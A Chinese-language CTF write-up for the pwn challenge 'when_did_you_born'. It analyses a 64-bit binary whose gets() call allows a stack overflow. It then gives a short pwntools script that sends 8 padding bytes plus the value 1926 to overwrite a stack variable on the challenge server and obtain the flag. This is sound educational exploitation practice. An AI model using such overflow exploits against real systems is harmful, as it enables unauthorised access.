攻防世界 when_did_you_born
题目附件信息
checksec when_did_you_born
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
分析与求解
- 用IDA64打开此二进制文件,找到main函数F5
- 注意到一个栈溢出的常见函数
gets()
- 分析一下代码逻辑。首先需要输入出生日期,且不能等于1926;然后输入姓名;输入姓名后还需确认出生年份要等于1926。
- 这里的
gets()
函数存在栈溢出漏洞,我们点击变量v4查看一下栈
首先通过RSP和RBP可以知道v4和v5的地址,v4位于栈顶,v5偏移0x08
所以可以确定v4的部分
- 绕过方法就是,利用栈溢出漏洞将v4填充8个字符后,跟上1926。这样的话v5的部分就会被覆盖成1926,通过判断,从而获取flag。
pwn
- exp如下
# exp.py
from pwn import *
# 连接指定IP及端口,题目给定
io = remote('220.249.52.133', 42542)
# 只要不是1926即可
io.sendline("1999")
# 发送数据,占满8个字符后接1926的二进制数
io.sendline('a'*8+p64(1926))
# 交互
io.interactive()
- 运行:
python exp.py
,结果为
cyberpeace